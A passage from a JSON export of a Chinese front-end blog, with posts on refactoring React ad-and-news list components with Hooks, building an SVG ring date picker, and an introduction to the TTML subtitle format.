对应的点击时间实现广告点击打点。\n如果说只有一个组件是这样的还好说，但是从上图可以看出，我们有大量的内容+广告混排场景。整体的逻辑和刚才说的都是一样的，唯一的区别是不同的列表对应不一样的显现形式。在这种情况下如何设计一个既能将通用逻辑提取，又能满足各个模块的自定义需求的通用模块就成了我们必须考虑的事情了。\nReact 组件设计模式 在具体讨论方案之前，我们先简单的了解一下常见的 React 组件设计模式。基本上分为以下几种方案：\nContext 模式 组合组件 继承模式 容器组件和展示组件 Render Props Hoc 高阶组件 其中 Context 模式多用来在多层嵌套组件中进行跨组件的数据传递，针对我们当前组件层级不多的情况用处不是非常大，这里就不多表。我们来看看剩下的几个模式各自有什么优缺点，最终来评估下是否能应用到我们的场景中。\n组合组件 组合组件是通过模块化组件构建应用的模式，它是 React 模块化开发的基础。除去普通的按照正常的业务功能进行模块拆分，还有就是将配置和逻辑进行解耦的组合组件方式。例如下面的组合方式就是利用类似 Vue 的 slot 方式将配置通过子组件的形式与 \u0026lt;Modal /\u0026gt; 组件进行组合，是的组件配置更优雅。\n\u0026lt;Modal\u0026gt; \u0026lt;Modal.Title\u0026gt;Modal Title\u0026lt;/Modal.Title\u0026gt; \u0026lt;Modal.Content\u0026gt;Modal Content\u0026lt;/Modal.Content\u0026gt; \u0026lt;Modal.Footer\u0026gt; \u0026lt;button\u0026gt;OK\u0026lt;/button\u0026gt; \u0026lt;/Modal.Footer\u0026gt; \u0026lt;/Modal\u0026gt; 又如下面的下拉选择组件，通过将 \u0026lt;Select/\u0026gt; 和 \u0026lt;Option\u0026gt; 进行组合，即达到了组件化配置的目的，又达到了通用方法的复用。同时将点击操作在 \u0026lt;Select/\u0026gt; 组件中直接传递下去方便了点击后直接修改选择状态。\nexport default function(props) { return React.Children.map(props.children, child =\u0026gt; React.cloneElement(child, {onClick() { console.log(\u0026#39;click\u0026#39;) }} )); } \u0026lt;Select\u0026gt; \u0026lt;Option\u0026gt;Click Me!\u0026lt;/Option\u0026gt; \u0026lt;Option\u0026gt;Click Me!\u0026lt;/Option\u0026gt; \u0026lt;/Select\u0026gt; 继承模式 继承模式是使用类继承的方式对组件代码进行复用。在面向对象编程模式中，继承是一种非常简单且通用的代码抽象复用方式。如果大部分逻辑相同，只是一些细节不一致，只要简单的将不一致的地方抽成成员方法，继承的时候复写该成员方法即可达到简单的组件复用。\n不过我们知道 JS 中的集成本质上还是通过原型链实现的语法糖，所以在一些场景使用上没有其它语言的继承那么方便，例如无法直接实现多继承，多继承后的跨层级方法调用比较麻烦，适合简单的逻辑复用。另外通过继承方式会将父类中的所有方法都继承过来，不小心的话非常容易继承到不需要的功能。\n容器组件和展示组件 展示组件和容器组件是将数据逻辑和渲染逻辑进行拆分从而降低组件复杂度的模式。使用容器组件可以把最开始的代码改写成如下的形式。这样做最大的好处是渲染层可以抽离成无状态组件，它不需要关心数据的获取逻辑，直接通过 props 获取数据渲染即可，针对展示组件能实现很好的复用。\nclass NewsList extends React.Component { state = {newsData: [], adData: []}; constructor() { this.getNewsData(); } getNewsData() { this.getAdData(newsData.length / 2) } getAdData() {} render() { return \u0026lt;List news={this.state.newsData} ad={this.state.adData} /\u0026gt; } } function List({news, ad}) { const {newsData, adData} = this.state; const comps = []; for(let i = 0; i \u0026lt; newsData.length; i++) { comps.push(\u0026lt;NewsCard {...newsData[i]} key={`news-${i}`} /\u0026gt;); if(i % 2) { comps.push(\u0026lt;AdCard {...adData[i/2]} key={`ad-${i}`} /\u0026gt;); } } return (\u0026lt;div\u0026gt;{comps}\u0026lt;/div\u0026gt;); } 但是我们也可以看到即使我们把渲染逻辑拆分出去了，本身组件的数据逻辑还是非常的复杂，没有做到很好的拆分。同时容器组件和展示组件存在耦合关系，所以无法很好的对逻辑组件进行复用。\nRender Props 术语 “render prop” 是指一种在 React 组件之间使用一个值为函数的 prop 共享代码的简单技术 via: Render Props\n它的本质实际上是通过一个函数 prop 将数据传递到其它组件的方式，所以按照这个逻辑我们又可以将刚才的代码简单的改写一下。\nclass NewsList extends React.Component { state = {newsData: [], adData: []}; constructor() { this.getNewsData(); } getNewsData() { this.getAdData(newsData.length / 2) } getAdData() {} render() { return this.props.render(this.state) } } function List({news, ad}) { const {newsData, adData} = this.state; const comps = []; for(let i = 0; i \u0026lt; newsData.length; i++) { comps.push(\u0026lt;NewsCard {...newsData[i]} key={`news-${i}`} /\u0026gt;); if(i % 2) { comps.push(\u0026lt;AdCard {...adData[i/2]} key={`ad-${i}`} /\u0026gt;); } } return (\u0026lt;div\u0026gt;{comps}\u0026lt;/div\u0026gt;); } \u0026lt;NewsList render={({newsData, adData}) =\u0026gt; \u0026lt;List news={newsData} ad={adData} /\u0026gt; 可以看到，通过一个函数调用我们将数据逻辑和渲染逻辑进行解耦，解决了之前数据逻辑无法复用的问题。不过通过函数回调的形式将数据传入，如果想要把逻辑拆分（例如资讯数据获取与广告数据获取逻辑拆分）会变得比较麻烦，让我想起了被 callback 支配的恐惧。\n同时由于 render 的值为一个匿名函数，每次渲染 \u0026lt;NewsList /\u0026gt; 的时候都会重新生成，而这个匿名函数执行的时候会返回一个 \u0026lt;List /\u0026gt; 组件，这个本质上每次执行也是一个“新”的组件。所以 Render Props 使用不当的话会非常容易造成不必要的重复渲染。\nHoC 组件 React 里还有一种使用比较广泛的组件模式就是 HoC 高阶组件设计模式。它是一种基于 React 的组合特性而形成的设计模式，它的本质是参数为组件，返回值为新组件的函数。我们来看看刚才的代码使用 HoC 组件修改后会变成什么样子。\nfunction withNews(Comp) { return class extends React.Component { state = {newsData: []}; constructor() { this.getNewsData(); } render() { return \u0026lt;Comp {...this.props} news={this.state.newsData} /\u0026gt; } } } function withAd(Comp) { return class extends React.Component { state = {adData: []}; componentWillReceiveProps(nextProps) { if(this.props.news.length) { this.getAdData(); } } render() { return \u0026lt;Comp {...this.props} ad={this.state.adData} /\u0026gt; } } } const ListWithNewsAndAd = withAd(withNews(List)); 可以看到这次改动最激动的地方在于我们第一次把数据逻辑进行了拆分，这也是高阶组件的魅力，它不局限于 UI 复用，使得代码复用更加自由（当然 Render Props 也是可以实现的）。\n当然这种模式也并不是完美的，它也有它的缺点。我们可以看到它的本质是通过 props 在高阶组件中将多个数据传入到子组件中，非常类似 mixin 的形式。所以它也会有 mixin 的缺点，那就是属性名冲突的问题。由于不同的高阶组件由不同的开发者开发，内部会传递什么样的属性名到子组件中就成了未知数。同时多层组件的嵌套导致组件层级过多，在性能和调试上都会带来问题。\n初版实现 了解完这些设计模式之后，我们再回头来看看我们的需求。通过观察了解不同的组件中的共同部分之后，我们可以将这种类型的组件抽象为如下描述“在一个内容列表中按照一定规则插入一定数量的和内容一致的一定样式的广告组件”。在这段描述中存在着三个不定因素：\n一定规则：不同的组件插入广告的逻辑是不一样的 一定数量：不同的组件由于资讯内容的不同，插入逻辑的不同导致需要的广告数量也是不一样的 一定样式：不同的组件由于资讯内容样式不同所以广告的样式自然也不相同 除却以上三个因素之外，广告其它的逻辑广告数据的获取以及广告的曝光和点击打点等都是通用的。最后我们将广告组件的逻辑顺着之前了解的设计模式抽离成三个部分：\n广告数据的获取：\u0026lt;Mediav.Provider /\u0026gt; 广告模块的渲染：\u0026lt;Mediav.Item /\u0026gt; Base 模块 广告模块的插入：由具体业务处理 import React from \u0026#39;react\u0026#39;; import Mediav from \u0026#39;@q/mediav\u0026#39;; export default class extends React.Component { state = {newsData: []}; constructor() { this.getNewsData(); } render() { const comps = []; for(let i = 0; i \u0026lt; newsData.length; i++) { comps.push(\u0026lt;NewsCard {...newsData[i]} key={`news-${i}`} /\u0026gt;); if(i % 2) { comps.push(\u0026lt;AdCard key={`ad-${i}`} /\u0026gt;); } } return (\u0026lt;Mediav.Provider id=\u0026#34;xxx\u0026#34;\u0026gt;{comps}\u0026lt;/Mediav.Provider\u0026gt;); } } class AdCard extends Mediav.Item { render() { if(!this.props.type) { return null; } const {title} = this.props; return (\u0026lt;div ref={this.getDOM} onClick={this.onClick} onMouseUp={this.onMouseUp} onMouseDown={this.onMouseDown} \u0026gt;{title}\u0026lt;/div\u0026gt;); } } 通过容器组件 \u0026lt;Mediav.Provider /\u0026gt; 对数据获取逻辑进行封装，通过遍历子组件找到 \u0026lt;Mediav.Item /\u0026gt; 组件的示例个数来告知需要请求的广告数量。请求到广告后通过 Props 注入的形式传入到渲染组件中。而渲染组件 \u0026lt;AdCard /\u0026gt; 继承自 \u0026lt;Mediav.Item /\u0026gt;，一方面能告诉容器组件它是广告组件的插槽，同时还能抽离广告曝光打点和点击打点等通用逻辑进行复用。在用户自定义的 \u0026lt;AdCard /\u0026gt; 组件中，我们可以自定义不同模块的广告组件的渲染样式，最终完成了一套广告组件的渲染。\n不过这样实现还是有一些不足的地方。广告曝光检测需要依赖原生 DOM，而 Ref 使用 forwardRef() 在组件间传递稍微有点复杂，所以最后采用了继承模式进行公共方法的抽离。子组件继承后自行绑定父类的一些方法即可，在这点上理解起来有点晦涩，看起来总像是绑定了一些“不存在”的方法。\nReact Hooks 针对上面提出的问题，有没有什么方法可以解决呢？最终我想到了 Hooks 的方案，通过使用 Hooks 改写后能完美的解决这个问题。我们先简单的了解下什么是 Hooks，它允许我们在不编写 class 的情况下使用 state 和 React 生命周期等相关特性。\nconst {useState, useEffect} = React; function App() { const [count, setCount] = useState(0); useEffect(() =\u0026gt; { const interval = setInterval(() =\u0026gt; setCount(count + 1), 1000); return () =\u0026gt; clearInterval(interval); }); return \u0026lt;span\u0026gt;{count}\u0026lt;/span\u0026gt;; } ReactDOM.render(\u0026lt;App /\u0026gt;, document.getElementById(\u0026#39;app\u0026#39;)); 可以看到，它使用 useState 提供了 state，使用 useEffect 来做一些需要在声明周期中执行的方法。使用 useEffect 代理了原来生命周期的概念后，让代码理解起来更加简单。\n当然这不是 Hooks 厉害的地方，它最厉害的地方是支持自定义 Hooks，通过自定义 Hooks 你能对逻辑进行统一的封装。针对一个数据获取的逻辑，我们需要定义 state，然后在初始化的时候去获取数据，当 id 发生变化后我们需要重新获取数据。\nclass User extends React.Component { state = { user: {} } constructor(...args) { super(...args); const {name} = this.props; this.getUserInfo(name) } componentWillReceiveProps(nextProps) { if(this.props.name === nextProps.name) { return; } this.getUserInfo(nextProps.name); } async getUserInfo(name) { const user = await fetch(url, {name}); this.setState({user}); } render() { return \u0026lt;div\u0026gt;{this.state.user.name}\u0026lt;/div\u0026gt; } } 可以看到我们获取用户信息的这个逻辑要实现需要在组件的各种地方写逻辑，代码一多之后非常容易造成需要各种跳行来查看某个数据逻辑的流程。而通过自定义 Hooks 我们能够将实现这个业务逻辑的代码全部整合到一处，最终达到业务逻辑的复用。\nfunction useUserInfo(name) { const [user, setUser] = useState({}); useEffect(() =\u0026gt; { fetch(url, {name}).then(user =\u0026gt; setUser(user)); }, [name]); return user; } function User({name}) { const user = useUserInfo(name); return \u0026lt;div\u0026gt;{user.name}\u0026lt;/div\u0026gt; } 我们可以从下面的视频中一窥 Hooks 的魅力，同颜色的表示是同一个业务逻辑，最终同颜色的代码都被归置到一处实现了逻辑的解耦。\nvia: https://twitter.com/prchdk/status/1056960391543062528\n使用 Hooks 改进 那 Hooks 是否能应用于我们的业务场景中呢？通过我们之前的分析我们知道，实际上我们的目的就是为了抽离出广告数据获取以及广告的曝光和点击打点这两个通用的业务逻辑出来。所以 Hooks 针对逻辑的封装正好可以为我们所用。\nimport {useState, useEffect, useRef} from \u0026#39;react\u0026#39;; import {useFetchMediav, useMediavEvent} from \u0026#39;@q/mediav\u0026#39;; function App() { const [newsData, setNewsData] = useState([]); const [adData] = useFetchMediav({id: \u0026#34;xxx\u0026#34;, length: newsData.length / 2}); useEffect(() =\u0026gt; { const newsData = [...]; setNewsData(newsData); }, []); const comps = []; for(let i = 0; i \u0026lt; newsData.length; i++) { comps.push(\u0026lt;NewsCard {...newsData[i]} key={`news-${i}`} /\u0026gt;); if(i % 2) { comps.push(\u0026lt;AdCard data={adData[Math.floor(i/2)]} key={`ad-${i}`} /\u0026gt;); } } return (\u0026lt;div\u0026gt;{comp}\u0026lt;/div\u0026gt;); } function AdCard({data}) { const ref = useRef(null); const bind = useMediavEvent(ref, data); return (\u0026lt;div className=\u0026#34;gg\u0026#34; ref={ref} {...bind}\u0026gt;{data.title}\u0026lt;/div\u0026gt;); } 使用 useFetchMediav() 获取广告数据，通过 props 传入到 \u0026lt;AdCard /\u0026gt; 组件中，通过 useMediavEvent() 获取打点相关的方法，并绑定到对应的元素上。使用 Hooks 修改之后的代码不仅复用性提高了，整体代码的逻辑也变的更加可阅读起来。\n后记 当然 Hooks 本身也不是没有缺点。为了在无状态的函数组件中创造去有状态的 Hooks，势必是需要通过副作用将每个 Hooks 缓存在组件中的。而我们没有指定 id 之类的东西，React 是如何区分每一个 Hooks 的呢？答案就是通过调用顺序。内部通过数组（链表？）根据调用顺序依次记录。为了遵守这个规则，Hooks 要求我们不能在 if 等会动态执行的地方进行 Hooks 的定义，因为这样有可能会导致 Hooks 执行顺序发生变化。其次 useEffect() 合并了多个生命周期，某些 Effect 需要在哪些生命周期执行以及如何控制其仅在这些生命周期执行，这些都对开发者带来了更大的挑战。稍微处理不当的话，很可能会造成页面的性能问题。\n参考资料：\nReact Today and Tomorrow and 90% Cleaner React With Hooks\n你想知道的React组件设计模式这里都有（上）\n你想知道的React组件设计模式这里都有（下）\n","count":4191,"date":"2019年11月26日","featuredImage":"https://imnerd.org/assets/migration/p4.ssl.qhimgs4.com/t01b6fd1f549ff588bc.png","permalink":"https://imnerd.org/optimize-react-components-by-using-hooks.html","summary":"\u003ch2 id=\"需求描述\"\u003e需求描述\u003c/h2\u003e\n\u003cp\u003e由于我所在的业务是资讯内容类业务，因而在业务中会经常碰到如下场景：有一个内容列表，列表中需要按照一定的规则插入广告。除了获取广告数据，广告展现和点击后需要有打点上报逻辑。正常来说我们会这么写：\u003c/p\u003e","time":9,"title":"使用 Hooks 优化 React 组件"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":"前言 这篇文章是多年前在 SegmentFault 上的一个回答，原问题是问如何使用 Canvas 实现一个下图类似的圆环选择器，点击后会出现对应的日期。虽然已经有 Canvas 的答案了，不过当时正好在学习 SVG 就顺手自己实现了一下。我感觉对大家去理解 SVG 的贝塞尔曲线会有一定的帮助，所以重新整理了下发出来。另外感兴趣的同学还可以去原问题上看一下，除了标准答案 Canvas 的实现以及我写的 SVG 实现之外，还有使用 DIV+CSS 的实现方案。\nSVG 如何画任意角度的圆弧线 将这个问题分解出来就是我们要画一个一个的弧块，所以第一步我们需要了解\u0026quot;如何使用SVG画弧线\u0026quot;。关于 SVG 的Path参数了解大家可以去参考一下 张鑫旭老师的博文：《深度掌握SVG路径path的贝塞尔曲线指令》。不过我们需要的 arc 命令并没有给出，这里我就稍作说明一下：\n使用\n命令\r命令参数\r参数说明\rA\rrx\r弧线所在椭圆的长轴半径\rry\r弧线所在椭圆的短轴半径\rx-axis-rotation\r弧线与 x 轴的旋转角度\rlarge-arc-flag\r两个值：0为小角度弧线，1为大角度弧线\rsweep-flag\r两个值：0为逆时针，1为顺时针\rx\r弧线终点的 x 坐标\ry\r弧线终点的 y 坐标\r也就是说画一段弧线你必须给定：\n弧线的起始和终点坐标 弧线所在椭圆的长短轴半径 弧线与 x 轴的夹角（即弧线所在椭圆与 x 轴的夹角） 是大角度弧线还是小角度弧线 圆弧是顺时针还是逆时针的 总共 7 个参数，怪复杂的。其它参数都比较好理解，就是large-arc-flag这个参数似乎不太明白的样子，这里我引用一张 MDN 文档 中的图片给大家做一下参考：\n实在是不太明白也没有关系，反正就 4 种情况，大家试试也就试出来了。针对这个问题的情况下，因为我们画的是圆弧，所以椭圆直接变成了圆，2 - 5 这 4 条参数都能解决了，剩下的是我们只需要知道弧的起点和终点就好了。这个根据圆弧的角度我们也是可以利用公式计算出来的。这里我画了一个示意图给大家参考一下：\n也就是说假设已知圆心坐标和圆心半径，逆时针方向角度为正值。则圆弧α的起点 A 和终点 B 的坐标我们都能知道了。所以控制一段圆弧通用的指令应该是：\nM Xo, Yo-r A r r 0 [1|0]** 0 Xo-r*sinα, Yo-r*cosα 注: ** 当弧角度 小于180° 时使用小角度弧线，当弧角度 大于180° 时使用大角度弧线 举个例子，假设圆心坐标为 (100,100)，半径为 50，则我们画一个 30° 角的圆弧为：\nJS Bin on jsbin.com\n我们可以将其化作一个 JS 函数以便动态创建：\nJS Bin on jsbin.com\n如何处理弧线标注位置 SVG本身是有marker用来指定其他元素用来做标注的，不过用起来稍微麻烦最终还是需要用到text标签，所以我就直接用text标签来做了。\ntext标签需要指定标签左下角的 (x,y) 坐标来确定标签的位置，为了达到好看的效果，通过计算弧中点的坐标将其旋转到其切线方向会达到很好看的效果。弧重点的坐标利用上一步中求终点的方法可以非常简单拿到。而旋转到切线方向其实就是将文字旋转弧线的角度。\ntext也是支持 transform属性 的，和平常在 CSS 中一样也是支持 rotate 等一些常用的变换的。但这里需要注意的是，默认的rotate并不是以文字的左下角做旋转，所以我们要在旋转角度后面定义旋转中心坐标，也就是 transform = \u0026quot;rotate(α x y)\u0026quot;。\n这样做完之后有个未完成的地方在于由于不是按照文字中心做的运算，所以你必须左下移动文字宽高的一半才能到达中心。我将这一步的过程封装成了svg.prototype.appendCircleArcText方法做了一个DEMO：\nJS Bin on jsbin.com\n如何处理渐变色 这个问题我不是很清楚标准的解决办法，但是我的第一反应是利用 alpha通道 来做。利用透明通道能过非常简单的给出一个颜色的渐变出来。但是透明通道有个我们不需要的功能就是透明效果，所以需要将透明过的颜色处理成普通颜色。这一步过程其实非常简单了，代码就是以下这样的：\nfunction gradientColor(len, color) { color = color || [147, 112, 219]; const delta = 0.8 / len; const colorTransfer = (c, o) =\u0026gt; \u0026#39;#\u0026#39; + c.map(t =\u0026gt; parseInt((1 - o) * 255 + o * t).toString(16)).join(\u0026#39;\u0026#39;); return new Array(len).fill(0).map((o, i) =\u0026gt; colorTransfer(color, 1 - i * delta)); } 比较温馨的做法是透明度并不是从 100% -\u0026gt; 0%，而是预留了 20% 的基值。\n最终效果 处理完以上三个关键的问题之后其实这道题的代码已经出来了。由于要增加点击事件，我使用g标签将同一个圆弧和其对应的text标签包起来做成一个group，而后对每一个组增加了点击事件。由于 SVG 实际上可以看成一个一个的 DOM 标签，所以点击事件处理起来也是非常的得心应手的。最后附上我的最终代码和效果：\nJS Bin on jsbin.com\nclass SVG { constructor(width, height) { this.width = width; this.height = height; this.s = SVG.createSVG(width, height); } appendCircleArc( circle = { cx: 100, cy: 100, r: 100 }, angel = { start: 0, end: 90 }, attrs = { fill: \u0026#34;none\u0026#34; } ) { const largeArcFlag = Number(angel \u0026gt; 180); this.appendItem(SVG.arc({ largeArcFlag: largeArcFlag, rx: circle.r, ry: circle.r, startX: circle.cx - circle.r * Math.sin(angel.start / 180 * Math.PI), startY: circle.cy - circle.r * Math.cos(angel.start / 180 * Math.PI), endX: circle.cx - circle.r * Math.sin(angel.end / 180 * Math.PI), endY: circle.cy - circle.r * Math.cos(angel.end / 180 * Math.PI) }, attrs)); return this; } appendCircleArcText( text, circle = { cx: 100, cy: 100, r: 100 }, angel = { start: 0, end: 90 }, width = 16, attrs = {} ) { angel = angel.start + (angel.end - angel.start) / 2; const posX = circle.cx - circle.r * Math.sin(angel / 180 * Math.PI); const posY = circle.cx - circle.r * Math.cos(angel / 180 * Math.PI); const circleArcText = SVG.text(text, { ...attrs, x: posX, y: posY, fontSize: width, transform: \u0026#34;rotate( -\u0026#34; + angel + \u0026#34; \u0026#34; + posX + \u0026#34; \u0026#34; + posY + \u0026#34;)\u0026#34; }); this.appendItem(circleArcText); return this; } render() { return this.s; } renderTo(DOM = document.body) { DOM.innerHTML = this.s.outerHTML; const texts = Array.from(DOM.querySelectorAll(\u0026#39;text\u0026#39;)); texts.forEach(text =\u0026gt; { const transform = text.getAttribute(\u0026#39;transform\u0026#39;); transform \u0026amp;\u0026amp; text.removeAttribute(\u0026#39;transform\u0026#39;); const { width, height } = text.getBoundingClientRect(); [ [\u0026#39;x\u0026#39;, text.getAttribute(\u0026#39;x\u0026#39;) / 1 - width / 2], [\u0026#39;y\u0026#39;, text.getAttribute(\u0026#39;y\u0026#39;) / 1 + height / 2], [\u0026#39;transform\u0026#39;, transform || \u0026#39;\u0026#39;] ].forEach(([name, value]) =\u0026gt; text.setAttribute(name, value)); }) return this; } appendItem(item) { this.s.appendChild(item); return this; } static arc({ rx = 50, ry = 50, xAxisRotation = 0, largeArcFlag = 0, sweepFlag = 0, startX = 0, startY = 0, endX = 0, endY = 0 }, attrs = {}) { attrs.d = `M ${startX},${startY} A ${rx} ${ry} ${xAxisRotation} ${largeArcFlag} ${sweepFlag} ${endX},${endY}`; const path = document.createElement(\u0026#39;path\u0026#39;); for (var i in attrs) { path.setAttribute(i.replace(/[A-Z]/g, o =\u0026gt; `-${o}`), attrs[i]); } return path; } static text(text = \u0026#39;\u0026#39;, attrs = {}) { const t = document.createElement(\u0026#39;text\u0026#39;); t.innerHTML = text; for (var i in attrs) { t.setAttribute(i.replace(/[A-Z]/g, o =\u0026gt; `-${o}`), attrs[i]); } return t; } static g = class extends SVG { constructor(attrs = {}) { super(); this.s = document.createElement(\u0026#34;g\u0026#34;); for (var i in attrs) { this.s.setAttribute(i.replace(/[A-Z]/g, o =\u0026gt; `-${o}`), attrs[i]); } } }; static createSVG(width, height) { const s = document.createElement(\u0026#39;svg\u0026#39;); s.setAttribute(\u0026#34;xmlns\u0026#34;, \u0026#34;http://www.w3.org/2000/svg\u0026#34;); s.setAttribute(\u0026#34;width\u0026#34;, width); s.setAttribute(\u0026#34;height\u0026#34;, height); s.setAttribute(\u0026#34;viewBox\u0026#34;, \u0026#34;0 0 \u0026#34; + width + \u0026#34; \u0026#34; + height); return s; } } function gradientColor(len, color) { color = color || [147, 112, 219]; const delta = 0.8 / len; const colorTransfer = (c, o) =\u0026gt; \u0026#39;#\u0026#39; + c.map(t =\u0026gt; parseInt((1 - o) * 255 + o * t).toString(16)).join(\u0026#39;\u0026#39;); return new Array(len).fill(0).map((o, i) =\u0026gt; colorTransfer(color, 1 - i * delta)); } function createCircle(svg, items, circle, width, attrs) { var colors = gradientColor(items.length); colors.forEach(function (color, i) { attrs.value = items[i]; var g = new SVG.g(attrs); var angel = { start: 360 / colors.length * i, end: 360 / colors.length * (i + 1) }; g.appendCircleArc(circle, angel, { fill: \u0026#34;none\u0026#34;, stroke: color, strokeWidth: width }); g.appendCircleArcText(items[i], circle, angel); svg.appendItem(g.render()) }) } const s = new SVG(600, 600) const width = 40; const d = { year: [2009, 2010, 2011, 2012], month: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12], week: [\u0026#39;Mon\u0026#39;, \u0026#39;Tue\u0026#39;, \u0026#39;Wes\u0026#39;, \u0026#39;Thu\u0026#39;, \u0026#39;Fri\u0026#39;, \u0026#39;Sat\u0026#39;, \u0026#39;Sun\u0026#39;], day: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31] } Object.keys(d).forEach(function (k, i) { createCircle(s, d[k], { cx: 300, cy: 300, r: 300 - width * (i + 1) }, width, { category: k }); }); s.renderTo(); [].forEach.call(document.querySelectorAll(\u0026#34;g\u0026#34;), function (g) { g.onclick = function () { var s = document.querySelector(\u0026#39;svg\u0026#39;) s.setAttribute(this.getAttribute(\u0026#34;category\u0026#34;), this.getAttribute(\u0026#34;value\u0026#34;)) var u = {}, c = [\u0026#39;year\u0026#39;, \u0026#39;month\u0026#39;, \u0026#39;week\u0026#39;, \u0026#39;day\u0026#39;]; for (var i = 0, l = c.length; i \u0026lt; l; i++) { var o = c[i]; u[o] = s.getAttribute(o) || \u0026#34;\u0026#34;; if (u[o] === \u0026#34;\u0026#34;) return false; } alert(Object.keys(u).map(function (k) { return u[k] }).join(\u0026#39; \u0026#39;)); } }) ","count":2430,"date":"2019年10月08日","featuredImage":"https://imnerd.org/assets/migration/p0.ssl.qhimgs4.com/t01c1c1cec687cb6754.png","permalink":"https://imnerd.org/svg-circle-datepicker.html","summary":"\u003ch3 id=\"前言\"\u003e前言\u003c/h3\u003e\n\u003cp\u003e这篇文章是多年前在 \u003ca href=\"https://segmentfault.com/q/1010000002424191/a-1020000002432581\"\u003eSegmentFault\u003c/a\u003e 上的一个回答，原问题是问如何使用 Canvas 实现一个下图类似的圆环选择器，点击后会出现对应的日期。虽然已经有 Canvas 的答案了，不过当时正好在学习 SVG 就顺手自己实现了一下。我感觉对大家去理解 SVG 的贝塞尔曲线会有一定的帮助，所以重新整理了下发出来。另外感兴趣的同学还可以去原问题上看一下，除了标准答案 Canvas 的实现以及我写的 SVG 实现之外，还有使用 DIV+CSS 的实现方案。\u003c/p\u003e","time":5,"title":"使用 SVG 实现圆环日期选择器"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"说到视频字幕格式，一般大家都会想到 .srt, .ass 之类大家比较常用的格式。而现在说到 Web 字幕格式，大家第一反应肯定都是 WebVTT。我们知道在\u0026lt;video\u0026gt;或者\u0026lt;audio\u0026gt; 标签中要加载字幕的话，需要使用 \u0026lt;track\u0026gt; 标签将字幕文件嵌入进来。而在 track 的文档中我们会发现其实还有一种 Web 字幕格式，那就是本文的主角 TTML。\nThe tracks are formatted in WebVTT format (.vtt files) — Web Video Text Tracks or Timed Text Markup Language (TTML).\nvia: \u0026lt;track\u0026gt;: The Embed Text Track element\nTTML 简介 虽然这个字幕格式标准 2010 年就已经成为正式标准了，但是知道的人其实并不多。TTML 全称是 Timed Text Markup Language，是一种基于 XML 的时序文本标记语言。它旨在用于全球范围内的跨字幕和字幕传递应用程序，从而简化互操作性并保持与其他字幕文件格式的一致性和兼容性。\nTTML 提供了一种基于时间的配置文件，用来描述与数字媒体相关的文本、图形、图像等内容的出现、位置、样式以及动效等相关配置。因其基于文本字幕标准的工作让更多数字媒体内容提高了无障碍访问能力，于2016年1月8日\b，荣获由美国国家电视艺术与科学学院颁发的技术与工程艾美奖。\nTTML 兼容性 TTML 目前主要是大部分的广播和电视公司、电影制作公司以及电视流媒体平台等公司在使用，例如大家知道的 BBC、Netflix、HBO甚至还有好莱坞。客户端方面的话 VLC Player 开源播放器已经支持这种格式的字幕文件了。而在 Web 上虽然早已有了 W3C 规范，但是似乎浏览器厂商并不是非常买账，目前仅有 IE10+ 支持该格式，且 IE 上支持的仅仅只是 TTML 规范的一个子集，按照文档描述，包括 Animation 在内的一些特性都不太支持，更不用提之后 TTML2 中新增的一些特性了。\nNote: IMSC does not have native support in browsers at this current moment, but the imscJS polyfill can be used to bridge this gap. All the examples below are rendered by using imscJS. It creates dynamically HTML and CSS from an IMSC XML document. via: 《IMSC basics》\n虽然 Web 上的兼容性这么惨淡，不过好在有对应的 Polyfill 实现可以兼容。使用起来比较简单，调用几个官方 API 方法即可。解析 ttml 字幕内容后调用 getMediaTimeEvents() 方法获得一个包含所有的字幕片段以及每个动画的起始时间的数组，根据对应的起始时间调用 generateISD() 方法获取到对应时间片段的字幕片段数据，最后转换成 DOM 使用 renderHTML() 方法进行渲染即可。\nconst ttmlObject = imsc.fromXML(ttmlXmlString); const times = ttmlObject.getMediaTimeEvents(); const snapshot = imsc.generateISD(ttmlObject, times[1]); imsc.renderHTML(snapshot, document.getElementById(\u0026#39;videoContainer\u0026#39;)); Polyfill 的详细文档可以查看 MDN，同时官方提供了一个 demo 方便大家快速了解。\nTTML 标准的 .ttml 文件的基本格式应该如下，整体结构和 HTML 非常类似，有 \u0026lt;head\u0026gt; 和 \u0026lt;body\u0026gt; 两个标签构成主体内容。\u0026lt;body\u0026gt; 如其名为主体内容标签，而 \u0026lt;head\u0026gt; 可以放置如下标签：\n\u0026lt;metadata /\u0026gt;：用于放置字幕文件的 meta 信息的容器标签 \u0026lt;styling /\u0026gt;：用于放置预定义的 \u0026lt;style\u0026gt; 样式的容器标签 \u0026lt;layout /\u0026gt;：用于放置预定义的 \u0026lt;region\u0026gt; 布局的容器标签 \u0026lt;tt xml:lang=\u0026#34;\u0026#34; xmlns=\u0026#34;http://www.w3.org/ns/ttml\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;metadata\u0026gt; \u0026lt;ttm:title\u0026gt;Timed Text TTML Example\u0026lt;/ttm:title\u0026gt; \u0026lt;ttm:copyright\u0026gt;The Authors (c) 2006\u0026lt;/ttm:copyright\u0026gt; \u0026lt;/metadata\u0026gt; \u0026lt;styling\u0026gt; \u0026lt;style xml:id=\u0026#34;default\u0026#34; tts:color=\u0026#34;white\u0026#34; tts:fontFamily=\u0026#34;proportionalSansSerif\u0026#34; tts:fontSize=\u0026#34;100%\u0026#34; tts:textAlign=\u0026#34;center\u0026#34; /\u0026gt; \u0026lt;/styling\u0026gt; \u0026lt;layout\u0026gt; \u0026lt;region xml:id=\u0026#34;area\u0026#34; style=\u0026#34;default\u0026#34; tts:extent=\u0026#34;100% 10%\u0026#34; tts:origin=\u0026#34;0 90%\u0026#34; tts:backgroundColor=\u0026#34;black\u0026#34; tts:displayAlign=\u0026#34;after\u0026#34; /\u0026gt; \u0026lt;/layout\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body region=\u0026#34;area\u0026#34;\u0026gt; \u0026lt;div\u0026gt; \u0026lt;p xml:id=\u0026#34;sub1\u0026#34; begin=\u0026#34;0s\u0026#34; end=\u0026#34;10s\u0026#34;\u0026gt; Hello World! \u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/tt\u0026gt; 从上面的示例可以看出来，整体的结构非常的简单。通过 \u0026lt;style/\u0026gt; 标签可以预定义一套样式，这套样式可以赋给 \u0026lt;region/\u0026gt; 